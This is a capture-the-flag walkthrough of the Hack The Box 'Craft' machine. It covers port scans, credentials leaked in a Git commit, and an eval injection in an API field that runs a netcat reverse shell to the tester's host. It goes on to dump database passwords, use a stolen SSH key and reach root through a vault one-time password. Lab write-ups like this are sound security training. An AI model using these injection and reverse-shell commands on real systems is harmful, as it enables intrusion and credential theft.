Initial foothold is established through a very common developer mistake: code repository contains a set of credentials inadvertently included in one of the commits.

Perform a port scan using nmap:

 


# nmap -sS -Pn -A 10.10.10.110 > nmap_craft.txt
root@kali:~/projects/Craft# more nmap_craft.txt 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-22 19:21 EST
Nmap scan report for 10.10.10.110
Host is up (0.032s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=12/22%OT=22%CT=1%CU=34998%PV=Y%DS=2%DC=T%G=Y%TM=5E0008
OS:B6%P=x86_64-pc-linux-gnu)SEQ(TI=Z%CI=Z%II=I%TS=8)SEQ(SP=105%GCD=1%ISR=10
OS:E%TI=Z%CI=Z%II=I%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%
OS:O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4
OS:=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R
OS:=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=
OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 23/tcp)
HOP RTT      ADDRESS
1   22.45 ms 10.10.14.1
2   22.60 ms 10.10.10.110

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.62 seconds

Discover the higher port

root@kali:~/projects/Craft# nmap  -p0-65535 10.10.10.110 -T5
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-22 19:41 EST
Warning: 10.10.10.110 giving up on port because retransmission cap hit (2).
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.023s latency).
Not shown: 64426 closed ports, 1107 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
443/tcp  open  https
6022/tcp open  x11

Nmap done: 1 IP address (1 host up) scanned in 87.62 seconds

Add URLs to /etc/hosts

hosts

Now it’s possible to browse to browse to

https://gogs.craft.htb

Browsing commit history we discover a set of credentials

commit history reveals a set of credentials

u: dinesh

p: 4aUh0A8PbVJxgd

Authenticate with given credentials and obtain a token

# curl -k -X GET "https://api.craft.htb/api/auth/login" -H  "accept: application/json" -udinesh
Enter host password for user 'dinesh':
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTc4MDAxNjcwfQ.2xqZcmUe45Con2HMs1BfbJV7wUjq9wHs9qCcxE2IubQ"}

check token validity

# curl -X GET -k "https://api.craft.htb/api/auth/check" -H  "accept: application/json" -H 'X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTc4MDAxNjcwfQ.2xqZcmUe45Con2HMs1BfbJV7wUjq9wHs9qCcxE2IubQ'
{"message":"Token is valid!"}

Start a remote shell

Edit script test.py, adding an exploit of the eval function found in ..

https://gogs.craft.htb/Craft/craft-api/src/master/tests/test.py

#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
#brew_dict['abv'] = '15.0'
brew_dict['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.226 8888 >/tmp/f')" 
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)


# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

Now you are connected.

Developers are nice enough to leave us a DB connection script.

Editing on the remote host is difficult. Much easier if we edit locally, spawn a web server and fetch the file from the remote server

python -m SimpleHTTPServer 8889
# wget 10.10.15.226:8889/dbtest2.py

Execute script and retrieve available passwords from table users

# python dbtest2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, 
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, 
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

Log in as user ebachman and discover set of keys for gilfoyle in private repo gilfoyle /craft-infra/.ssh

# ssh -i id_rsa gilfoyle@10.10.10.110


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Enter passphrase for key 'id_rsa': 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan  2 19:59:23 2020 from 10.10.14.255
gilfoyle@craft:~$ 

Retrieve user flag

gilfoyle@craft:~$ cat user.txt
bbf4b0cadfa3d4e6d0914c9cd5a612d4

Generate a onetime password and use it to connect and get the root flag

$ vault write ssh/creds/root_otp ip=10.10.10.110
Key                Value
---                -----
lease_id           ssh/creds/root_otp/0b63f44a-ce56-e720-f1b5-a06d0d2172a9
lease_duration     768h
lease_renewable    false
ip                 10.10.10.110
key                4648452e-acfd-ec7c-69d6-b38b5995ae23
key_type           otp
port               22
username           root



root@kali:~/projects# ssh root@10.10.10.110


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Password: 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# 
root@craft:~# 
root@craft:~# 
root@craft:~# ls -ltr
total 4
-r-------- 1 root root 33 Feb  9  2019 root.txt
root@craft:~# more root.txt 
831d64ef54d92c1af795daae28a11591
Submitted by Mitch on